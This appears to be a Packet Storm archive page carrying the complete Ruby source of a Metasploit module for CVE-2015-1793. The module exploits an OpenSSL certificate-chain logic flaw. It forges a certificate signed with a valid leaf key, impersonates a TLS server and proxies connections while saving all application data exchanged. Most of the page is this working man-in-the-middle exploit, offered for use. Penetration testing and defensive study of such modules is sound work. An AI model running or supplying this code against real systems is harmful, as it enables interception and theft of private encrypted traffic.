Twenty Year Anniversary

OpenSSL Alternative Chains Certificate Forgery MITM Proxy

OpenSSL Alternative Chains Certificate Forgery MITM Proxy
Posted Jul 27, 2015
Authored by Ramon de C Valle, Adam Langley, David Benjamin | Site metasploit.com

This Metasploit module exploits a logic error in OpenSSL by impersonating the server and sending a specially-crafted chain of certificates, resulting in certain checks on untrusted certificates to be bypassed on the client, allowing it to use a valid leaf certificate as a CA certificate to sign a fake certificate. The SSL/TLS session is then proxied to the server allowing the session to continue normally and application data transmitted between the peers to be saved. The valid leaf certificate must not contain the keyUsage extension or it must have at least the keyCertSign bit set (see X509_check_issued function in crypto/x509v3/v3_purp.c); otherwise; X509_verify_cert fails with X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY. This Metasploit module requires an active man-in-the-middle attack.

tags | exploit, crypto
advisories | CVE-2015-1793
MD5 | 244abcb9001d9746e6846f9785dab572

OpenSSL Alternative Chains Certificate Forgery MITM Proxy

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'openssl'

class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Report

def initialize
super(
'Name' => 'OpenSSL Alternative Chains Certificate Forgery MITM Proxy',
'Description' => %q{
This module exploits a logic error in OpenSSL by impersonating the server
and sending a specially-crafted chain of certificates, resulting in
certain checks on untrusted certificates to be bypassed on the client,
allowing it to use a valid leaf certificate as a CA certificate to sign a
fake certificate. The SSL/TLS session is then proxied to the server
allowing the session to continue normally and application data transmitted
between the peers to be saved.

The valid leaf certificate must not contain the keyUsage extension or it
must have at least the keyCertSign bit set (see X509_check_issued function
in crypto/x509v3/v3_purp.c); otherwise; X509_verify_cert fails with
X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY. This module requires an
active man-in-the-middle attack.
},
'Author' =>
[
'David Benjamin', # Vulnerability discovery
'Adam Langley', # Vulnerability discovery
'Ramon de C Valle' # Metasploit module
],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service',
'References' => [
['CVE', '2015-1793'],
['CWE', '754'],
['URL', 'http://www.openssl.org/news/secadv_20150709.txt'],
['URL', 'http://git.openssl.org/?p=openssl.git;a=commit;h=f404943bcab4898d18f3ac1b36479d1d7bbbb9e6']
],
'DisclosureDate' => 'Jul 9 2015'
)

register_options(
[
OptString.new('CACERT', [ true, "The leaf certificate's CA certificate", nil]),
OptString.new('CERT', [ true, 'The leaf certificate', nil]),
OptString.new('KEY', [ true, "The leaf certificate's private key", nil]),
OptString.new('PASSPHRASE', [ false, "The pass phrase for the leaf certificate's private key", nil]),
OptString.new('SUBJECT', [ false, 'The subject field for the fake certificate', '/C=US/ST=California/L=Mountain View/O=Example Inc/CN=*.example.com']),
OptString.new('HOST', [ true, 'The server address', nil]),
OptString.new('PORT', [ true, 'The server port', 443]),
OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
OptString.new('SRVPORT', [ true, 'The proxy port', 443])
], self.class)
end

def cleanup
super
return unless @proxy

begin
@proxy.deref if @proxy.kind_of?(Rex::Service)
if @proxy.kind_of?(Rex::Socket)
@proxy.close
@proxy.stop
end
@proxy = nil
rescue ::Exception
end
end

def run
host = datastore['HOST']
port = datastore['PORT']
local_host = datastore['SRVHOST']
local_port = datastore['SRVPORT']

root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_key = OpenSSL::PKey::RSA.new(2048)
root_ca_cert = OpenSSL::X509::Certificate.new
root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
root_ca_cert.not_after = Time.now + 86400
root_ca_cert.not_before = Time.now
root_ca_cert.public_key = root_ca_key.public_key
root_ca_cert.serial = 0
root_ca_cert.subject = root_ca_name
root_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)

inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')
inter_ca_key = OpenSSL::PKey::RSA.new(2048)
inter_ca_cert = OpenSSL::X509::Certificate.new
inter_ca_cert.issuer = root_ca_name
inter_ca_cert.not_after = Time.now + 86400
inter_ca_cert.not_before = Time.now
inter_ca_cert.public_key = inter_ca_key.public_key
inter_ca_cert.serial = 0
inter_ca_cert.subject = inter_ca_name
inter_ca_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)
inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)

subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CACERT']))
subinter_ca_cert.issuer = inter_ca_name
subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)
leaf_key = OpenSSL::PKey::RSA.new(File.read(datastore['KEY']), datastore['PASSPHRASE'])
leaf_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CERT']))

fake_name = OpenSSL::X509::Name.parse(datastore['SUBJECT'])
fake_key = OpenSSL::PKey::RSA.new(2048)
fake_cert = OpenSSL::X509::Certificate.new
fake_cert.issuer = leaf_cert.subject
fake_cert.not_after = Time.now + 3600
fake_cert.not_before = Time.now
fake_cert.public_key = fake_key.public_key
fake_cert.serial = 0
fake_cert.subject = fake_name
fake_cert.version = 2
extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))
fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))
fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)

context = OpenSSL::SSL::SSLContext.new
context.cert = fake_cert
context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
context.key = fake_key

@proxy = Rex::Socket::SslTcpServer.create(
'LocalHost' => local_host,
'LocalPort' => local_port,
'SSLContext' => context,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
})

print_status('Listening on %s:%d' % [local_host, local_port])

thread_num = 0

loop do
framework.threads.spawn("Thread #{thread_num += 1}", false, @proxy.accept) do |client|
add_socket(client)
application_data = ''
print_status('Accepted connection from %s:%d' % [client.peerhost, client.peerport])

server = Rex::Socket::Tcp.create(
'PeerHost' => host,
'PeerPort' => port,
'SSL' => true,
'SSLVerifyMode' => 'NONE',
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
})
add_socket(server)

print_status('Connected to %s:%d' % [host, port])

begin
loop do
readable, _, _ = IO.select([client, server])

readable.each do |r|
data = r.get_once
print_status('%d bytes received' % [data.bytesize])

application_data << data

case r
when client
count = server.put(data)
print_status('%d bytes sent' % [count])
when server
count = client.put(data)
print_status('%d bytes sent' % [count])
end
end
end

rescue EOFError, Errno::ECONNRESET
path = store_loot(
'tls.application_data',
'application/octet-stream',
client.peerhost,
application_data,
'application_data',
'TLS session application data'
)

print_good("SSL/TLS session application data successfully stored in #{path}")

client.close
server.close

next
end

client.close
server.close
end
end
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close